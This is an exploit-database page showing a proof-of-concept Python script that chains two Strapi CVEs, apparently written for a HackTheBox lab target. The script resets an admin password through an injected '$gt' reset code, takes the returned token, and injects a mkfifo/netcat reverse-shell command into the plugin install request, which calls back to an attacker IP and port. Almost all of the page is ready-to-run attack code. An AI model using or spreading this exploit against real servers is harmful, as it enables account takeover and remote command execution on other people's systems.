Exploit database

GH-5113f010985c4e3b91301ba9cbc20102

abelsrzz/cve-2019-18818_cve-2019-19609

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-18818

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
abelsrzz/cve-2019-18818_cve-2019-19609Revision 9b074a1f3e70

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2019-18818_CVE-2019-19609.py

Python · 1,561 bytes
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# CVE : CVE-2019-18818

import requests
from pwn import *

s = requests.session()
target = "http://api-prod.horizontall.htb" # Change This
strapi_port = 80 # Change this

local_ip = "10.10.14.27"
local_port = "4444"

new_pass = "abc123."

params = {
    "code": {"$gt":0},
    "password": f"{new_pass}",
    "passwordConfirmation": f"{new_pass}"
}

r = s.post(
        target + "/admin/auth/reset-password",
        json = params
    )

if r.status_code == 200:
    try:
        json_response = r.json()
        
        jwt = json_response.get("jwt")
        
        user = json_response.get("user").get("username")
        email = json_response.get("user").get("email")
        
        log.success(f"""Succesfully changed password:\nUsername: {user}\nPassword: {new_pass}""")
        
    except:
        log.failure("Error while reseting password. Exiting...")

# CVE: CVE-2019-19609

data = '{ "plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 'f"{local_ip} {local_port}"' >/tmp/f)", "port":"80" }'

headers = {
    "Host": target.replace('http://', '').replace('https://', ''),
    "Authorization": f"Bearer {jwt}",
    "Content-Type": "application/json",
    "Content-Length": "131",
    "Connection": "close"
}

log.info(f"Make sure you ran: nc -lvnp {local_port}")

try:
    log.success("Sending remote shell")
    r = requests.post(f"{target}/admin/plugins/install", headers=headers, data=data, verify=False)
except:
    log.failure("Error while sending remote shell")